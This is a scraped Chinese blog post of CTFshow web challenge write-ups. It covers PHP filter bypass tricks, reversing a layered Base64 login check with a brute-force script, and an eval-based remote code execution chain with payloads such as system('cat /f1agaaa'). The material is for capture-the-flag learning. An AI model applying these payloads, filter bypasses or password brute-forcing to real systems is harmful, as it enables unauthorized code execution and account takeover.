当前位置: 首页 > news >正文

CTFshow-web方向(更新中)

萌新杯

intval与preg_match绕过方法:

进制绕过二进制或者八进制或者十六进制等等

双重取反~~绕过

有时候需要编码需要绕过的字符$a=~("system"); echo urlencode($a);

换行\n绕过

编码绕过

SQL查询中,如果我们将Base64编码的字符串直接拼接到SQL语句中,并且使用单引号包围,那么如果Base64编码的字符串中包含单引号,就会破坏SQL语句的结构,导致SQL注入或者语法错误。

常见的命令执行函数

system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec()

过滤;

使用?>绕过

使用if绕过

WEB应用与安全防护

Base64编码隐藏

查看网页源码,找到登录脚本,发现有个base64编码的正确密码,结合下方的登陆成功逻辑,确定解码后的密码就是flag。

image-20251011104659029

解码

image-20251011104801614

Base64多层嵌套解码

查看源码,与编码隐藏相同,注意到这里有五层编码,解码即可

const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU="; function validatePassword(input) {let encoded = btoa(input);encoded = btoa(encoded + 'xH7jK').slice(3);encoded = btoa(encoded.split('').reverse().join(''));encoded = btoa('aB3' + encoded + 'qW9').substr(2);return btoa(encoded) === correctPassword;}

先解码一次

IzUFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9cVc5得到的就是第四步encoded = btoa('aB3' + encoded + 'qW9').substr(2);处理之后的编码

第四步将ab3+encoded+qw9 进行编码,然后在第三个字符串开始截取

我们先解码一次就能得到IzUFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9cVc5

同时注意到ab3编码YUIzqw9编码cVc5

去除添加的字符串,处理之后应该是UFQxM1UzRmtSRk0wU2xSU05qRXdUVVk9,这就是第三步处理之后的编码

然后解码一次得到PT13U3FkRFM0SlRSNjEwTUY=

encoded.split('').reverse().join('')这个方法是反转编码

用脚本先解码一次,再反转编码

import base64def recover_original(encoded_b64):# 1️⃣ 先 Base64 解码decoded = base64.b64decode(encoded_b64).decode('utf-8')# 2️⃣ 再反转字符串original = decoded[::-1]return originalif __name__ == "__main__":encoded_after = "==wSqdDS4JTR610MF"original_string = recover_original(encoded_after)print("原字符串是:", original_string)

得到第二步处理后的代码FM016RTJ4SDdqSw==

这一步去除了前面三个字符,需要补充上三个字符进行解码,然后去除xH7jK然后得到了第一步处理后的编码,将第一步处理后的编码再次解码就是密码

这里需要利用python进行穷举出所有的结果

import base64
import itertools
import string# 待处理字符串
after_slice = "FM016RTJ4SDdqSw=="# Base64 字符集
B64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"# 输出文件
OUT_FILE = "candidates.txt"def safe_b64decode(b64_str: str):"""安全 Base64 解码,失败返回 None"""try:# 补齐 = 保证长度是 4 的倍数pad = (-len(b64_str)) % 4if pad:b64_str += "=" * padreturn base64.b64decode(b64_str)except Exception:return Nonedef is_valid_utf8(b: bytes):try:b.decode("utf-8")return Trueexcept UnicodeDecodeError:return Falsedef main():total = 0found = 0with open(OUT_FILE, "w", encoding="utf-8") as fout:for prefix_tuple in itertools.product(B64_CHARS, repeat=3):prefix3 = ''.join(prefix_tuple)total += 1full_b64 = prefix3 + after_slice# 第一次解码decoded = safe_b64decode(full_b64)if decoded is None:continue# 去掉尾部 xH7jKif len(decoded) < 5:continuefirst_layer = decoded[:-5]# 第二次解码(去掉尾部 xH7jK 后的 bytes 直接当作 Base64)second_layer_str = first_layer.decode("latin1")  # 按 latin1 避免 decode 错误second_layer_decoded = safe_b64decode(second_layer_str)if second_layer_decoded is None:continue# 检查 UTF-8 合法性if not is_valid_utf8(second_layer_decoded):continuefinal_text = second_layer_decoded.decode("utf-8")fout.write(final_text + "\n")found += 1if total % 50000 == 0:print(f"[progress] tried {total} prefixes, found {found} candidates")print(f"Done. tried {total} prefixes, found {found} candidates. Results in '{OUT_FILE}'")if __name__ == "__main__":main()

得到一个密码字典,利用python进行爆破,找到登录请求,然后抓包。

image-20251011141816153

post请求,路径是check.php

设置payload,导入字典,然后传入主体参数。

image-20251011142032999

这里遇到问题了,需要更改请求头

image-20251011123215320

image-20251011142014412

发现返回长度是2532的都能获取到flag,可能是密码中只要包含7316都能正常登录

image-20251011125523938

用hacker验证一下

image-20251011125618771

菜狗杯

web签到

CTF-show菜狗杯web签到

访问页面

image-20251010172110600

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

利用eval进行执行命令

首先传入cookieCTFshow-QQ群=a

Cookie: CTFshow-QQ%E7%BE%A4:=a

中文用url编码

然后eval变为

eval($_REQUEST[$_GET[$_POST['a']]][6][0][7][5][8][0][9][4][4]);

post传入参数 a=b;

然后eval变为

eval($_REQUEST[$_GET['b']][6][0][7][5][8][0][9][4][4]);

get传入参数 b=c

然后eval变为

eval($_REQUEST['c'][6][0][7][5][8][0][9][4][4]);

对于request请求,可以使用任意方式进行传参,写进主体中,传参为

c[6][0][7][5][8][0][9][4][4]=system('ls')

image-20251010182044305

利用命令查看根目录

image-20251010182926953

发现flagaaa,构造payloada=b&c[6][0][7][5][8][0][9][4][4]=system('cat /f1agaaa');

image-20251010183205968

web2 c0me_t0_s1gn

image-20251010184048162

需要用上帝的眼睛看~,查看源码

image-20251010184126298

给了flag前半部分的形式,剩下的需要用控制台,打开控制台

image-20251010184159344

运行脚本

image-20251010184243708

我的眼里只有$

image-20251011102308646

extract() 方法可用于将数组展开,键名作为变量名,元素值为变量值

``${...}(或多个 $)表示“多层变量变量(variable variables)解引用”。如果从 $ 出发到目标变量需要经过 **N** 次“指向”关系($ -> a -> b -> ... -> target),那么需要 **N 层 $**(即 ${${...${$}...}},或写成 N 个 $紧跟$)来把最终的变量值取出来,eval(...) 就会把那个最终取到的字符串当作 PHP 代码执行。

image-20251011102744589

因为这里有36个$,最后一个变量执行命令,让_=a;a=b一直重复下去35次,最后一个写入执行的命令

http://www.hskmm.com/?act=detail&tid=28638

相关文章:

  • 拷贝和上传文件,涉及隐私协议
  • 2025储罐厂家,钢衬塑储罐,钢塑复合储罐,化工储罐,防腐储罐,PE储罐,盐酸储罐,硫酸储罐,聚丙烯储罐,不锈钢储罐,次氯酸钠储罐各类型最新推荐榜:品质卓越与技术创新的行业先锋!
  • 2025 年国内标志牌生产厂家最新推荐排行榜:聚焦优质企业助力客户精准选择道路/限速/公路/施工/警示/限高/三角/安全标志牌厂家推荐
  • 在Scala中,如何在泛型类中使用类型参数?
  • Maple 2025 来了!AI 赋能 + 6000 + 命令,破解数学计算、科研与教学痛点
  • 2025 护眼灯生产厂家最新推荐榜:精选五强资深与新锐品牌,深度解析品质口碑与选购指南
  • 2025 年护眼吸顶灯最新推荐榜:权威筛选五强品牌,技术与口碑双维度深度剖析
  • 2025 护眼台灯厂家最新推荐榜单:权威解析明可达等五强品牌,护眼参数与选购指南全攻略
  • 2025 年无线耳机源头厂家最新推荐榜单:覆盖头戴式 / 电竞 / 平价 / 电脑 / 游戏多品类且聚焦全产业链与精益制造的权威名录
  • 2025 年最新蓝牙耳机源头厂家口碑推荐榜:含琉璃 X 热销 64 万台企业及各类型高性价比品牌优选运动/真无线/头戴式/骨传导/游戏蓝牙耳机厂家推荐
  • 接口测试全流程实战:从工具到架构的深度解析
  • Node.js 负载均衡:构建高可用服务
  • C# Send and receive big file via stream
  • 2、python get请求
  • 可解释AI技术解析与模型监控实践
  • 人工智能与教育pre
  • 开源多场景问答社区论坛Apache Answer本地部署并发布至公网使用 - 实践
  • 2025 仙桃电梯生产厂家推荐榜单:专注多场景垂直交通解决方案!
  • 2025蒸发式冷气机厂家最新推荐榜:高效制冷与节能优势优质之
  • List之高效安全的 Java 列表深复制工具:ListCopyUtils 的设计与实践
  • AMD、CMD、UMD、ESM和CommonJS
  • 2025异型钢厂家最新推荐榜:定制化生产与卓越品质引领者
  • linux硬盘在线热扩容非LVM情况
  • 【光照】Unity[PBR]环境光中的[漫反射]
  • 2025年六角钢厂家最新推荐榜:品质过硬与性价比之选
  • 2025广东粉末供应厂家TOP10榜单:品质卓越与服务一流的
  • 2025热喷铝厂家最新推荐榜:品质卓越与专业服务的行业首选!
  • 2025方钢厂家,异型钢厂家,六角钢厂家最新推荐榜:品质与性价比兼备的首选品牌!
  • JS单线程设计的目的
  • 强化学习 动作空间(离散/连续)